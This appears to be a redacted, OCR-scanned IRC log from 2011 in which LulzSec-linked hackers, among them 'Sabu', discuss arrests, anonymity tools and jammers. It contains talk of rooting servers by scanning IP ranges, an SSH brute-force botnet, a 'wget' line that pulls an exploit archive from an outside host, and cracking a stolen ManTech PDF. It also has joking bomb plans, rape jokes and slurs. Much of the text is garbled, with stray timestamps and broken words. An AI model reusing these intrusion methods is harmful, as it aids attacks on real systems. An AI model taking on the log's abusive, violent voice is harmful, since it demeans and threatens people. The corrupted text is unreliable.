I can get connetions in brazil 

insane stuff: http://www.mediafi re.com/?zls9v2gcw559uk7 
whats tht? 




probably nyan.mp3 :D 
oh 

it's music 
it's like 

a non-instrument version 
of The Prodigy - Breathe 
it's pretty amazing 

Page 272 



61081 



18 

18 

18 

18 

18 

18 

18 

18 

tho 

18 

18 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

pas 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

19 

can 

19 

19 

19 

19 

19 

i s 

19 

19 

19 

19 

19 

(an 

19 

20 





47 <@Sabu> nice 
47 
49 
49 
57 
58 
58 

59 

se root 
59 
59 
01 
01 

01 < 

02 < 
04 < 
04 < 

04 < 
04 

05 < 
05 < 
05 < 
05 < 

05 < 

06 < 
06 < 

06 < 

07 < 
07 < 
07 < 
07 < 

07 < 

08 < 

09 < 
swor 
10 
10 
10 
11 
11 
13 



#! sunnydays .log 



has joined #! sunnydays 

y ChanServ 

as quit [Ping timeout] 



are we going to do about the lulzsec site? 
me didn't work? 
ken then this place is no longer secure? 
too and now so will the feds? 
has joined #! sunnydays 
3 more roots I think 



waiting for results now 
:3 



I think I got 3 more roots, just checking now 

licks the H^^^^l :3 

shou^^v^swi tch to alternative IRC? 
didn't have access? 
enow about this place? 
what are you rooting lols :D? 

just scanning ranges for fun... you know 

H v& ?!?! 



Port : User 




Pass 



IS 

yes :-\ 

seems correct : C 
:( 

hmmmm, this tool is wierd 
it forgot to print the list of IP 
buggy code 

_ is it some kind of auto rooter or are you just scanning for easy 

roots :d/ 

it is probably a good idea to 
jnnydays [+i] by 
iust in case 

has quit [Ping timeout] 





13 <©Sabu> did not know about this plae 

13 <@Sabu> so relax 

ahh cool :D 
ok 

i should change my second name to "paranoid" 
lol 

hmmmmmm. Cocks. had control of the DNS I was using 

*.umad.biz 

u> no good 

19 <©Sabu> you better change your shit nigglez 
19 < @Sabu > do you have access to it? 

19 <^^H he had control over the lulsec domain and server too something we 
't get access to the passwords pasted me to change didn't work 

19 < ^^^^^M I cant axx the DNS, so im letting the server rot 
19 < ^^^^^H ^^^^^H - the gibson is not ours anymore 

35 <^^S^BfS^^^^^H 
35 <^^^| DyAnarcnanTS^^^^^^ 

35 <<3^^^ One day after the arrest of Oaaronsw, wikiLeaks activist @Asher_wolf 
terrorized. Read her full report: twitlonger.com/show/brin41 
35 <^^H 3 hours ago 

35 <^^^| http://www.twitlonger.com/show/brin41 

35 <(£^^B now thats creepy :S 

48 < P^^^H 111 be back 

56 lkerpia.cryto.net [Knock] by ^^^^^^^^BCFCEC756.C1f9627f.6fb8a685.ip 

ybody home?) 

58 _*_^^BHB__j!Jst wrote a shiny new motd for cryto 

03 ^|^^jn^^^Hl<erpia-76DAl9A4.desu.i .wish. i .was. japane.se] has quit [User 
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quit: 
20:05 
20:05 
20:05 
20:05 
20:05 
20:05 
20:06 
20:11 
20:12 
20:12 



Lost terminal] 



#! sunnydays .log 




lolol 



being down and everything going wrong 
|at this point 

fully expect some tech to spill coffee 
on our rack 

and then the DC burns down 

has qui t [Ping timeout] 

was that 




mean the tiwtter Tonger link 



20:19 



wnat tf 
sorry 

agh she quit 

20:15 <@Sabu> yo yo 
20:17 <(c^^^H guise did u read that? 
lkerpia.cryto.net [Knock] by 

kerpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nf o C ; 
nock* *knock* let me im ;_;) 
lkerpia.cryto.net [Knock] by 

ke rpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nf o ( ; 
nock* ''knock* let me im ;_;) 
lkerpia.cryto.net [Knock] by 

ke rpi a-73DF90c2 . made .this. vhost . to . express . my . 1 ovef oru . i nf o ( ; 
nock* *knock* let me im ;_;) 
lkerpia.cryto.net [Knock] by 

kerpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nfo ( ; 
nock* *knock* let me im ;_;) 
H [_(a9lAFDFCD. 5BEF5915.CEC56216.IP] has quit [NickServ (GHOST 

i^use^DV 



cnoc 
20:20 

cnoc 
20:20 

cnoc 
20:20 




! invite 

mode/#! sunnyoays [-i] by 

cryto.net ChanServ invited^^^B 

|1340B7Dl.DF74EEAA.84E78Eb5T 



into the channel . 

IP] has joined #! sunnydays 

#! sunnydays [+o ■■■■ by ChanServ 

kerpi a-73DTgDc^made . thi s . vhost . to . express . my . 1 ovef oru . i nfo] 



! sunnyoays 
mode/#! sunnydays [+o 

i was like locKea 



by 
out 



thigns i was all 



omg 

<3 

ol 

"3 

sabu here :D/ 

7 

what do u think about that twt longer link, 
which? 

asher wolf 
oh? the person in the car? 
it's creepy :S 

could be just a hysterical crisis 
or mi 5 earning time to finish wiring her house 
true, but why would someone just walk up to you car open you door 
"hi" and nothing else 
earn time 

i would prefer to think its just a post hysterical crisis 

(the opened door) 
possible :/ 
it seems weird tho 

but u can see the mi 5 touch too if u prefer the conspiracy version 
why would someone block you in at a cash machine, not even use the 
cash macTTTne and only get out their car to open your door say hi and go back to 
their c ar and keep you there? 

20:36 < (^B^^ because the rest of the team didnt finish to wire your house 
20:36 <^^S^ still something really rookie for mi 5 

20:38 <^^Hit's $200 for a low jack jammer, it will do GPS/wifi/bluetooth/fm 
20:38 <^^H you can buy them with bitcoin too 

http : // www. jam mer-store . com/xm j 5-sattel i te- radi o-si gnal - j ammer-bl ocker . html 

20:40 <^53|p may /may not already have one :3 
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32 
33 
33 

33 

and say on 
20:33 <' 
20:35 < 
di stortion 
20:35 < 
20:35 < 
20:35 < 
20:35 <i 
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#! sunnydays .log 

XD 

i use a cbr 

prefer rather than cars 
ttp: //cell phone- jammers. com/ this site is better 
they accept bitcoin 

1o1 Hi 

u r paranoid now 
look for mic jammers 

UySnaaownareU?^^^^^^^ 

FBI raids house, guns drawn, looking for a 13 year old alleged 
anonymous : reddi t . com/r/AskReddi t/co . 
or fm jammers 



20:40 <' 
20:42 < 
20:42 
20:42 
20:43 
20:45 
20:45 
20:46 
20:46 
20:46 < 
20:46 
member o" 
20:46 <' 
20:46 < 

http : / /wm . reddi t . com/r/AskReddi t/comments/i u93n/f bi_rai ded_my_house_wi th_a_searc 
h_warrant_today/ 



20:46 
20:47 < 
20:47 < 
20:47 < 
20:47 <' 
20:47 <' 
20:47 <' 
20:47 <' 
20:47 <' 
20:48 <' 
20:48 <' 
20:52 < 





13 years old kids are dangerous nowadays 
he IR jammers are what you need 
almost like ISyrs old blond girls 

:0 

im 17! 

im even more dangerous :D 
i will keep u in 16 
for fantasies purposes 
lol 

rofl 

Imao 

AO 

20:57 <(asabu> yo yo 

20:57 <@Sabu> you turned 17? happy birthday kk<3 
i've been 17 for a while :D 
pic or gtfo 
hm 
peopl e 

someone have news from ? 
21:21 <(asabu> nope 
21:21 <@Sabu> did he get knocked? 
maybe : -\ 

I heard was v& 
D: 

people talking about that in i tali an rooms 
yes was v& some months ago., 
i remember. . 

kerpia-2EDE8026. b-ras3 .mvw.galway .ei rcom. net] has 



21:03 < 

21:10 < 

21:11 < 

21:19 < 

21:19 < 





[18:29:31 CEST] 
[18:39:20 CEST] 



ya 



B was v& as well? 
ie was arrested 



and no was &v now again 



they were a]l almost at the same time the first one 

was he on the list of arrested? or the 



blacked out name? 
21:22 <(i 
why. 

21:22 <(!_ 
faggot ry 
21:22 <' 
21:23 < 
21:23 < 
21:23 < 
21:23 
quit: 




[18:39:47 CEST] 
[18:39:55 CEST] 
[19:05:00 CEST] 




I really wonder who they blacked out and 

he wasnt on the list for reasons due to 



[19:05:06 CEST] H| but hes not cooperating at all no 

so its a big roun^ng up and mass execution of Anon "leaders" 

Fucking feds 
yes, basically. 

kerpia-E5807C43.perfect-privacy.com] has quit [User 
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21:26 
21:26 
21:26 
have 
21:26 
21:26 
21:26 
21:26 
21:26 
21:26 
21:26 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 
21:27 
with 
21:27 
21:27 
21:28 
21:28 
21:28 
21:28 
21:28 
21:28 
21:29 
21:29 
21:29 
21:30 
21:30 
21:30 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 
21:31 



# lsunnydays.log 

I'd actually like to see dutch police try to arrest me 
I've been talking to a few lawyers and related people 



and there are a few lawyers that would love to mince their case 

ont u want to change country ^^^^^ ? 

wel 1 

BTW I just shat 9001 bricks walking home 
- explain? 

ere are a few lawyers that I know, who are getting really 
the arresting of anons 

and they wouldn't mind working on a case like anon arrests here 
)u: saw ^^^g today? 

change country? 
"need to fled i can see for some place 
country 
quit 15 hours ago 

if I really need to flee for whatever reason I already 

locations 

but I doubt it'll be necessary 

is purposely going to be afk l-2days 
<@Sabu> no panicking thanks 
<^^H k 





<@Sabu> 
<@sabu> 
<(asabu> 
<(asabu> 
<@Sabu> 
<@Sabu> 



lol 
:P 

and I spoke private before he left 

is active 

I am safe 
you uys are here 

guyd 
s 

lulz ok i understand :> 



and 



<@SaDu> only ones that got arrested that hurt is 

<©Sabu> but is fine? 

< @Sabu> 1 i k e is he out or loked up? 

<^^^^^B well, judging from what ^^^^^g says he is not cooperating 
1 a w er^rcem ent at all 
<^B^H^B and idk his current status 

< g^^B^J I heard t hey ar e out, but prohibited from using the internet 
<^^H|^^ basically ^^Hlike conditions 

< 

< 
< 
< 

< 

< 

<^Sabu> yup 

<(asabu> Its a show of force 

< @Sabu> it s their reminder than they can get us if they wanted to 
<^^^^^H I agree with something markduk said to me a while back 
< (^^^^^B we need to decentralize this more 
< (^^^^^B Sabu, if you're arrested, for example 
<^^^^^^| everyone will scramble in fear 

SI joined #!sunnydays 

Because you are the symbol of not being found 
goddamn fucking wine 
to all of the Anons 
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can't confirm that though 
Sabu - fucking better not co operate 

he has some dangerous information 
nothing too bad 

but still, makes me a tad uneasy 
it's certainly a wide sweep of arrests 
Aye, I'd say its moreso a media thing 
you know 

"WE ARE DOIN SOMETHIN I SWEAR" thing 

another desperate attempt at leverage I suppose 
has quit [Client exited] 
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#!sunnydays.loq 

21:32 <@sabu> so starting today I will get people motivated/decetralized and work 
on killing my name 

21:32 <@sabu> little by little though 
21:32 <@Sabu> dont want a conspiracy theory 
21:32 < @Sabu> th at cia put a hit on me 

21:32 <(c^^^^H I mean if everyone in this channel stopped today, the movement 

would probably die 
21:32 <©Sabu> : | 

<(asabu> that depresses me. 



21:32 
21:33 
21:33 
21:33 
21:33 
21:33 
21:35 ■ 
has quit 
21:36 <" 
21:36 < 
21:36 I 
has joine 
21:37 <' 
actual mcs 
21:37 < 
21:37 < 
21:37 < 
21:41 
has quit 
21:43 H wm 
has joinec^^ 
21:47 <' 



< @Sabu > so lets all work together 
<||^| yes probably :-\ 
< (gSabu> to decentralize anonymous 

<M^^^H it's the truth though, we're right at the center 
<(asabu> thats sad. 

kerpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nf o] 

ng timeout] 

hm u need more servers 
bots linking them 

^^^1 kerpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nf o] 
sunnyaays 

and developt different personas living at the same time than ur 





Pi ng 



ni cks 

+1 
around? 

kerpi a-73DF90c2 . made . thi s , 

timeout] 

kerpi a-73DF90c2 . made . thi s , 



vhost . to . express . my . 1 ovef oru . 
vhost . to . express . my . 1 ovef oru . 



i nf o] 
info] 



21; 


:47 


<i 


return 


21; 


:47 


<i 


21; 


:48 


<i 


21; 


:48 


<i 


21; 


:48 


<( 


phone 




21; 


:49 


<i 


21; 


:49 


<i 


21; 


:50 


<i 


21; 


:50 


< 


21; 


:50 


< 


21; 


:50 




21; 


:50 


< 


22; 


:02 


< 


22; 


:02 


< 


22; 


:02 


< 


22; 


:02 


< 


22; 


:03 


< 


22; 


:03 


< 


22; 


:03 


< 


a minor 


22; 


:03 


< 


22; 


:03 


< 


22; 


:03 


< 


22; 


:03 




22; 


:03 


< 


22; 


:03 


< 


22; 


:03 


< 


22; 


:03 




22; 


:03 


< 


22; 


:04 


< 


22; 


:05 


< 


22; 


:07 


< 


22; 


:07 


< 


22; 


:07 


< 


22; 


:09 


< 


22; 


:09 


< 




Sabu, 

3 the IT) y/o has 
" questioning' 



een bai led without charge and will 



url? 

there is no URL, 



someone I know just talked to the Mets on the 




sounds wei rd anyway 

they also refuse to name him 
hmmmmm 

cos he aint over 18 
maybe they really did arrest the wrong 
in UK its illegal for to name him 
H^^H^^I has not been seen in a week 
nego^^^^ off that someone may be onto 
and he went AFK 
mm 




him 



at are his bail conditions? 

it's illegal to name a minor in the UK 16 is considered not 




adult at 16 



the UK you ' re an 
whaaaaaat? 

SRSLY? 
asking now 

here they cant try u as adult til 17 
then they wont name you til like 
oh right, yeah you are adult at 16 in UK 

19 or 20 

so they let him go? 

i really want to know if it was deffinetly him or not :( 
but seriously guys dont talk to the police 
wait for a lawyer 
i f you ' re arrested 

exercise your right to not having to talk without a lawyer 
no matter what they tell you 
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22:09 
22:10 
22:10 
22:13 



22:16 
22:16 
22:17 
22:17 



22:17 < 
22:17 < 
22:17 < 
22:17 < 
22:17 < 
22:18 < 
22:18 < 
22:18 < 
22:18 < 
22:18 < 
22:19 < 
22:19 < 
22:19 < 
22:19 < 
22:19 < 
22:19 < 
truck 1 
22:19 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:20 < 
22:21 < 
22:21 < 
22:21 < 
22:21 < 
22:21 < 
22:22 < 
22:22 < 
22:22 < 
22:22 < 
22:22 < 
22:22 < 
22:22 < 
22:22 < 
22:23 < 
22:23 < 
22:23 < 
22:23 < 
22:23 < 
22:24 < 
22:24 < 
22:24 < 
pri son 
22:24 < 
22:24 < 
22:24 < 




#! sunnydays .log 
will rescue u if u get arrested 
I : //gl obal researcn . ca/i ndex . php?context=va&ai d=2 5645 
CYBER SPACE : Pentagon Declares the internet a "war Domain" 

- race you to the rescue jD 

ipet Sabu wil l help too , and xD 

J I Q^H^^^I^^I^Ih^ joined #!sunnyaays 
e/^^unnyaay^^^^^^^ by ChanServ 

XD 

sup 

we r organizing how to rescue from prison 

"lult 

lulz 

whats the plan? 
Ok 

I'll provide the explosives to blow up the stuff in the way 

sabu ^^^m get the helicopter ready 
anyone seen Prison Break" ? 

- you can run in and rescue our damsel in distress 
cave the tunnel 

- you are gonna take out the CCTV 
replace cctv signal with a rumsfeld speach 

"okay 
speech 
ok 

how much boom do we want? 

enough to blow up buckinghham palace as a diversion? 

200kg c4 
for the lulz 

C4 is overrated, I prefer ANFO, cos you can make it by the 

cant teleport 
asic hacker skill 

- we havent figured out how to ret gravity 
and we termite all the jail locks system in vertical 

ah okay 

you know the Chinese have already manage to teleport something 
she can only teleport horizontal xD 

wait WHART?! 

ruefax 

■ - DO tel 1 ! 

wat y 

they managed to teleport a single particle 
ah ok 
okay 

how many particles do you have? 
which isn't like jumping through a portal but it's a step closer 
not many im only tiny :( 
k then we gonna do it via teleport 
seems easy :> 
hm 

but we can blow up the prison anyway if you want 

i prefer to bomb the shit out 
yeah 

but we should get her out before 

since im not sure if anyone would surive this if does 
we need the confusion to get out from there more ea^My 
hmmmmm 

I use P for Plenty of Plastique 

so maybe 

http : //www. real i tysandwi ch . com/node/72812 
^ get her out first 

just stream justin bieber music over the voice control of the 

almost everyone will be paralyzed 
ok 

i got it 
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22: 


24 


<i 


22: 


24 


<i 


22: 


25 


<i 


22: 


25 


< 


22: 


25 


< 


22: 


25 




22: 


25 




22: 


25 


< 


22: 


25 


< 


22: 


25 




22: 


25 


< 


22: 


26 


<( 


out 




22: 


26 




22: 


26 


< 


22: 


26 


< 


22: 


26 


< 


I'll be 


22: 


26 


< 


22: 


27 


< 


22: 


27 


< 


22: 


27 




22: 


27 




22: 


27 


< 


she is 


22: 


27 




22: 


28 




22: 


28 


< 


22: 


28 




22: 


28 


< 


22: 


29 


< 


22: 


29 




22: 


29 


< 


22: 


29 




22: 


29 


< 


22: 


29 




22: 


29 




22: 


29 


< 


22: 


29 


< 


22: 


29 




22: 


30 


< 


22: 


30 


< 


22: 


30 




22: 


30 






#! sunnydays .log 
btw why anyone should arrest her :D 
shes basically an angel 
got it guise 




disguised wearing a ballet tutu 



True that 
we send 
lulz 

LMAO 

OH LAWDY 

sure hes gonna ACK 
we haz a winrar 

that will give us enough time distracting all ppl there to get her 





not sure if it works IRL 
Then we blow up everything? 
for the lulz? 

i'll just be all "hi can i leave now pis?" and they be all 
3 and then they "ok then" 
and let me go :D 

XD 

I would let you go anyways... 



'no" then 



can i haz keyz?' 'just open a door in a high floor' 

"awww man, she is too cute to be a criminal with that smile, 
"ree to go! " 

i 1 i ed . j pg 

we need a meme bot 

we need a ssh scan bot 

scan or brute? 
both 

!ssh 204.112 

brute is kinda hard since the block after x. tries 

aye 

well some of them 
well 

)ut with a little botnet 
it workz 

exactly :D 
___ have it spredding via SSH rooting 
just need to code a load balancer 
The load balancer is easy 
if your bot is php/sql based 



http : //puETTci ntel 1 i gence . net/u-s-di stri ct-court-of-northern-cal i forni a-anonymous 




-ddos-attacks-indictment- july-2011/ 



22:32 < 
22:33 < 
22:33 < 
http://3Tbp 
qui ste . jpg 




22; 


;33 


<i 


22; 


;33 


<i 


22; 


;33 


<i 


22; 


;34 


<i 


22; 


;36 


< 


22; 


;37 


< 


22; 


:38 


<( 


22; 


;38 


<( 


22; 


;38 


<i 


22; 


;39 


<i 


22; 


;39 


<i 


22; 


;39 


<i 


22; 


;39 


< 


22; 


;39 


< 


22; 


;39 


< 


22; 


;39 




22; 


;39 






Sabu> 




lol 

didnt see that before 

ogspot . com/_ckBl asgNSzg/TS4vamY4xvl/AAAAAAAAU2g/MYTe2whBlRE/s400/Ex 

lol awsome cat 
the lulzsec cat 

XD 

its so fkn epic 
Imao at tht cat :D 
meow : 3 
yo yo 
sup niggas 
nothing much 

http|7/i magebin.org/164070 « ok i put 
<^|^^B we r organizing how to rescue | 
thats up :D 

purrrrrrrfect plan is exquisite 
Sabu - ur driving the helicopter 
^^^^1 is our human flash bang 

LOL 

awesome 
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nckr 



# lsunnydays.log 
disarms them with charm 
can do the dashing hero bit 
does the awesome hacker CCTV thing 
rolling the CCTV faggots 



22:39 < 
22:40 < 
22:40 < 

22:40 < 

22:40 <@Sabu> theres some new dox being posted by teampOison. 
accurate (just saying before everyones asks) 
22:40 < ^^H^^H more from them faggots - the gift that keep 
22:40 <^^^m link :D 
< p^^B 

http://www. patn ckpretty . com/2011/07/20/kaboom-16-arrested-i n 
-agai nst-paypal -f bi -executes-35-search-warrants-throughout-th 
yberc rime-probes/ 



for me, its not 
s on givin! 



a1 1 eged-ddos-attack 
e-uni ted-states-i n-c 





22:43 
22:43 



22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 



44 
44 
44 
44 
44 
44 
44 
44 
44 
44 
44 



what are people views of i2p? 
anyone used it? 

someone was poking me that they are probably running an 

:3 

also, try selecting a bit of text 
and see what happens 
1 send Syrians to use i2p 
sent* 

i2p LOOKS nice 
since Syrian govt is using 

to dynamic blocking 

anyone of u knows something about '^^^H 
7 ^^^^ 

_ i wanted to attack the system 
Just click edit if you want to copy/paste his shit text 
never heard of it. . . 
is i2p fully anonymous? 
i 'm off guys 
(and ^^^1 
is it D^^er than TOR? 

bye 
'bye 



clearnet 



<3 

-I am not sure 
eard TOR is better though 
not sure how true that is 
TOR =/= I2P 
in concept 
1 dont trust things programmed in java 
involving encryption 
but well 

has quit [input/output error 

TOR = mostly 3ust an anonymization/encrypti 




] 

on layer for the 
e internet that is 
e 



the main purpose 
e imho 



i2p = a darknet, an overlay network over th 
running services inside it 

it seems it saves the day to many ppl out ther 
different concepts 

TOR does have hidden services, but it's not 

Tor hidden services, the most promising featur 
is not receiving enough devel efforts 
tor is more solid 
howso? 

you were to go for anomnity what would you use TOR or / i2p? 
i2p is still . . . .java 
eh. 

java is just a programming language, 
ffs. 

yes, of course it's bloated 
and slow 

and resourcehungry 

but that something is written in java doesn't automatically 



or less solid, for that matter 

just someone asked me whats best and i 

Page 280 



ve never used i2p so i 



61089 




# lsunnydays.log 
just say to try both and then decide 
beware of the exit nodes of tor 
personally 

ont have to remember some ppl here with wiki leaks affiliations 



a darknet in mind 
real ip right? 



name 



I think i2p is set up much better 
for darknet services 
TOR wasn't really designed with 
i2p did that a lot better 
a rouge exit node wont get your 
your IP, no 

DiJt they can sniff your traffic 

ask lamo for about 
tl ;dr 

use TOR for clearnet anonymizati on/encryption from govs 
use I2P for darknet systems and communication 
combination of both is best 

stay in contact with other activists etc through i2p services 
stay in contact with the outside world through TOR 

lanks guys :D 

personally i 11 never choose those ones 
've just neverd used i2p and wasn't sure how to answer :D 
they the only ones right? 

The domain "intifadah.org" is owned by a 

"Richard Ahmed" of PA, not sure what relation 



but he has an email under "I^^H^Hi^^^^^^^l we done 
this email address and it l^TK^t^aHtiyspac^^om 2007 to 
name of "xavier" 



friend of his who goes 
Sabu was to that site 
a bitch of searching on 
someone who goes by the 




umm 

other than 
mai nly 

^ isn't Richard Ahmed 

not sure? 



owning a huge botnet and making a tunnel 
name we made up? 



dont remember the name... 
Richard J. Ahmed 
4162 Michigan Avenue 
Pittsburgh, PA 15222 
724-665-1729 
+1-412-4471506 
this is a name and address 



and myself made up for a 



23:05 
23:05 
23:05 
23:05 
23:05 
23:07 
23:07 
23:07 
23:07 
23:08 



in fact I think I generated it from fakenamegenerator.com 
but wheres all this comming from? xD 
http : //pasti e . org/2245194 
mm. . . 

wget alecsafk.ilive. ro/a/a.tgz 
_ sabu: ? 

Sabu r u a Body builder? 

http://alecsafk.ilive. ro/a/ 
whats tthy? 

its some guys pile of shite that he runs on roots 

port scans, etc 
romanian hackers 

I just got a LOAD of exploits off there :D 

theres some exploits here that I know of 

anything interesting? 

a.tgz is ALL local roots 
111 analyse tonight :D 
gonna go offline tho 
and analyse offline 
ill be back :D 
:D nite nite <3 

night!" 
back 

<@Sabu> sorry was talking to my wife 
<@Sabu> whats going slutz 
<€i^^H that s not true sabu, i read 

has quit 
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ur dox ur a single and a body builder 
[Ping timeout] 
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|1340B7Dl.DF74EEAA.84E78E68.IP] has quit [User quit: 




#! sunnydays .log 

23:14 <@Sabu> hahaha 
23:14 <<S^^m ~<o1 
23:21 <(3^^m brb 
23:21 

1 eavi ng] 

23:25 lkonjassiem.cryto.net ChanServ invited into the channel. 

[_©91AFDFCD. 5B EF5915. CEC5621b.lPJ has joined #!sunnydays 
^#! sunnydays [+o ^^^^ by ChanServ 
twitters going crazy 

http : //twi tte r . com/# ! /^^^^g 
left them a nice response 
_ :) 

twitter down 
oh working for me again 
pretty cool that one, isnt it ? 

EPF: FBI at the door with a search warrant? You have rights, 
https : / /ef f ■ o rg/r . 86Q Print & keep this nearby: https://eff.0rg/r.l8R #anonymous 
23:50 < nice 

— Day cnangeoThu 3ul 21 2011 

00:04 < oh you should see my tweets to the TeaMpOseR losers i chelenged 

to exploit a closed src app for windows i was going to write him he's 
vanished and stopped tweeting ;_; 

" ■ lol 
al so 

has a habbit 
getting bored 
fucking shit up 

truth 

anyone heard anything about 
3 



23:46 
23:46 



00:05 
00:05 
00:05 
00:05 
00:05 
00:05 
00:05 
00:08 




a I so 

Ho^« 

■and 1 

TTruth 



asabu> 



00:08 <(asabu> 
00:08 <(asabu> 
00:08 <@Sabu> 
00:10 < 
00:11 < 



got news from the guardian 

e got released silently on bail 
sure it's him tho/ 



are we 
iSabu> no 
00:11 <@Sabu> not 100% 

00:11 <@Sabu> whoever it was was released silently which means two things 
00:11 <@Sabu> they got wrong guy 

00:11 <@Sabu> and didnt wanna publicize the failure 



00; 
00; 
00; 
00; 
00; 
00; 
00; 
00; 
00; 



1 nternet 




lulz? 

guy, that would be hilarious 



11 <@Sabu> or 

11 <@sabu> fuck the police? 

yeh fuck the pi ice! 
:d 

lol 

whats up with that school 4 
hoping they got the wrong 
1 nope so too 

because then we blast it all over the internet and make all the 

etectives look dumb 

there's a reason they're not releasing his name 
if he's 16 then they can legall release it 

_ ^^^^^^^^^^^^^^^^^^^^^^^^^ 

tht a real word :S 
yes 

why "is a word to describe fear of long words so long xD 
and what does it have to do with hippos xD 
mad XD 

this never gets old :D 

http : //www. youtube . com/watch?v=SUl kAPxrwcw&feature=youtu . be 
00:42 <@Sabu> sex 

yes please :3 
^^■h hm 
01:02 <@SaBu> <# 
01:02 <@Sabu> <3 
01:02 <@Sabu> <3 

01:12 < Imao why are Uggs trending xD 
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01:12 < 
01:16 < 
01:17 < 
those! 
01:17 < 
01:18 
01:18 
01:18 
01:24 
01:24 

01:25 . 

like (song) 
01:26 <' 
01:31 
01:31 
01:31 
01:40 
01:40 
01:40 
01:40 
01:41 
01:43 
01:48 







#! sunnydays .log 
because Ugg paid twitter monies 

dont get me wrong i love ugg botts but it's way to hot to be wearing 

boots* 

TIMOTEI 
TIMOTEI 
TIMOTEI 

pounces on 



got sound on your machine? there's something you might 

http : //www. youtube . com/watch?v=cpSnQ30QtKA 

this is still the best song :3 
http : / /www . youtube . com/watch?v=MtNlYnoL46Q 

you have to watch them all, the 2nd and 3rd, the duck is a troll xD 
I have seen all the duck songs 
and then waddled away 

the 3rd is best he gets them both xD 

yeah that bastard shopkeeper gets ducked 
got any grapes :3? 



ce rpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nf o] has joi ned 

! sunnydays 

C 

wubwub 

|kerpi a-73DF90c2 . made . thi s . vhost . to . express . my . 1 ovef oru . i nfo] 
quit: Lost terminal] 



01:48 < 
01:49 <^ 
01:53 _ 
has qu" 
02:00 < 

http : //b logs .vi 1 1 agevoi ce . com/ runni nscared/2011/07/anonymous_ar rests_hackers_new_ 
york_stanl ey_cohen_mercedes_haef er . php 




02:00 < 
02:00 < 




Hackers 
Anonymous 



Hacker Arrests include 16-Year-Old Girl and Ex-Resident 



of Williamsburg: 'Faces of Domestic Terrorism' 



02:01 
02:02 
02:08 




m 



16 yrs old girl? 

if theyr talking about no, they missed the age 



1 ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 

sunnydays 

mode/#! sunnydays [+qo ^^^^^^^^^ by ChanServ 
hey 

Sabu 



J01 ne 
02:08 
02:08 
02:08 
02:08 

02:09 

http : //www . rawstory . com/rs/2011/07/20/news-corporati on-admi tted-i n-2009-to-hacki n 

g-u-s-ri val s-websi te/ 
" " hi 
:D 

and lol at tht link xD 

Former News international chairman previously claimed only one 





02:09 < 
02:09 < 
02:09 < 
02:09 < 



journalist involved in phone hacking. 



02:09 < News Corporation admitted at a trial in 2009 that computers at its 

U.S. marTe^ig division. News America Marketing, hacked into the secure website 
of a rival U.S. -based company 11 times, according to Bloomberg. 
02:09 <~ ^^M 

02:09 < The FBI is currently investigating allegations that News Corp, the 

parent company of Fox News and The wall Street Journal, attempted to bribe police 
and hack into the cell phones of victims of the 9/11 terrorist attack. 



02:09 < 
02:09 < 



:D 



Senator Frank Lautenberg (d-nj) wrote Tuesday to Attorney General 
Eric Holder and FBI Director Robert Mueller to highlight the hacking allegation 
made by Floorgraphics inc. 
02:09 



Floorgraphics claimed in a lawsuit that News America Marketing 

stole business from the company by hacking into Floorgraphics website between 
October 2003 to January 2004. The company agreed to dismiss the case after 
receivi ng a $29 .5 million payment from News America Marketing. 
02:09 <-H^H what did i miss the last 24h? 
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#! sunnydays .log 

nm really :/ 
till not heard from 
damn ; 
but the 



oh 



/ 

person they were holding as 



has been "released 



meam ng 
thats 



they proberbly got nothing against him 
good news 

so there's still a chance it wasnt him 

just want to hear from 

really do hope it wasn't 
we all would love to :/ 



im 



hope it was his fakeguy from london :p 
but then., why doesnt he react on ^^^^ 
the guy from London got r^easec 

an^i^ 
hey ^^^^p 

als^^DMT how didst thou know 
you told us here yesterday 
ah, cool 



dm? 

on bail with no charges 



btw the one he send 
can you repost that 



you before 
please, exactly what he said? 




DO you guys have everything you need for a 
I don't want to leave you guys hanging, 
then, thought he asked about the seedbox 
its dead for 2+ weeks 
but released with no charges is good news either way 
okay something different 



Nice work with Sun 
release, tpb pass etc? 

ah ok. . makes sense 

also, which wouldnt make sense as 
02:15 < 

02:16 < 

Mon Jul 25 2011 

i have a pdf which is pw protected 
how to crack on linux? 
i REALLY need to know what's inside 
:p 

http://i .imgur.com/esmkx.jpg 
Nelson Mandelulz 
haha nice one! 

the pdf is from mantech and the ONLY one that was pw protected 
really makes me wonder what that is 

> 

apt-get install pdf crack 

hmm i think that segfaulted before but will try 
Mon Jul 25 16:33:45 2011 
Mon Jul 25 16:33:46 2011 

161D78A9.6B94F3D. 5438D71B.IP] has joined #! sunnydays 

sunnydays: Total of 12 nicks [8 ops, 0 halfops, 0 voices, 4 

Join to #! sunnydays was synced in 18 sees 

Thgston microsd 32gb class 4 isn't even that expensive. :o 
ni ce 

D113726F.EE24DE46.84E78E68.IP] has joined #!sunnydays 

: P 

might not be online tonight 



:d im sleeping at my friends house 



she go get raped 
ol 

lol 

rape. . . 

It's on ly rape if she says no :3 

hah 

rape her with a 
_ lolol 

stuff it in her mouth so she 



it's 

>mute people 
lololol 



can't scream and have my wicked way 
only rape if she says no :3 
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17:20 < 

the lulzsec 
17:21 < 
17:21 < 
17:21 < 
17:21 < 
17:23 m 
termi n^U 
17:24 H _ 
#! sunnyoays 





#! sunnydays .log 

also, wikipedia peoples removed the part about levitrOn from 

rti cl e 

and removed the part about me doing fundraising 
not sure how to handle the rest 
meh 

those luzsec ppl r evil they must be stopped!!!!!!! 
[^^^B8e775b9C.CB47d490.a27e456C.ip] has quit [User quit: Lost 

kerpia-49E3El71.gigabit.perfect-privacy.com] has joined 

lol 

hai : P 



http://twitte 





http://www.tt 
